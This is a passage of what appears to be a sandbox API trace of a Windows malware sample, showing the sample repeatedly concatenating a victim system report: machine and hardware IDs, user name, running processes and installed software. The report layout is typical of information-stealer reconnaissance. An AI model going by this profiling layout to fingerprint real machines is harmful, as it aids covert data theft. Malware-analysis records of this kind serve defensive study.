different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 [12.0.30501.0]\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219"
[0054.980] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="10.0.40219", lpcbData=0x1816c0*=0xb) returned 0x0
[0054.980] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 [12.0.30501.0]\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 [12.0.30501.0]\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219 [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 [12.0.30501.0]\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219 ["
[0054.980] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 